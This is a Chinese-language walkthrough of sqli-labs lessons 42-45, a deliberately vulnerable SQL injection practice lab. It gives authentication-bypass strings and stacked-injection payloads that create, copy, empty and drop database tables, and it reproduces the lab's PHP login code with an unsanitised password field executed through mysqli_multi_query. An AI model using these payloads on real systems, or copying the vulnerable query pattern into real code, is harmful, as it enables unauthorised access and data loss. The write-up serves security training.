sqli-labs 通关指南:Less 42 ~ 45

Less 42 ~ 45 是使用 POST 提交参数的登录界面,username 字段进行了参数过滤,但是 password 字段没有。此处可以在 password 字段使用万能密码直接夺取用户,也可以在该字段处使用堆叠注入。

Less 42

判断注入类型

打开网页看到登录页面,该页面和 Less 24 的二次注入的页面相似。在用户名使用万能密码测试,全部都登录失败。

1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#


在密码字段使用万能密码测试,使用单引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

a' OR 1 = 1#


堆叠注入

可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句

username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施。

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
            if($row = @mysqli_fetch_row($result))
	    {
	          if ($row[1])
	          {
	                return $row[1];
	          }
	          else
	          {
	                return 0;
	          }
	    }
      }
      else 
      {
            echo '<font size="5" color= "#FFFF00">';
	    print_r(mysqli_error($con1));
	    echo "</font>";  
      }
}
else 
{
      echo '<font size="5" color= "#FFFF00">';
      print_r(mysqli_error($con1));
      echo "</font>";  
}

Less 43

判断注入类型

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

a' OR 1 = 1#
a') OR 1 = 1#


堆叠注入

使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

Less 44

判断注入类型

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

a' OR 1 = 1#


堆叠注入

和 Less 42 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

// Check connection
if (mysqli_connect_errno($con1))
{
      echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
      @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
            if($row = @mysqli_fetch_row($result))
	    {
	          if ($row[1])
	          {
	                return $row[1];
	          }
	          else
	          {
	                return 0;
	          }
	    }
      }
}

Less 45

判断注入类型

在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

a' OR 1 = 1#
a') OR 1 = 1#


堆叠注入

和 Less 43 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#

SQL 查询语句

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
原文地址:https://www.cnblogs.com/linfangnan/p/13977447.html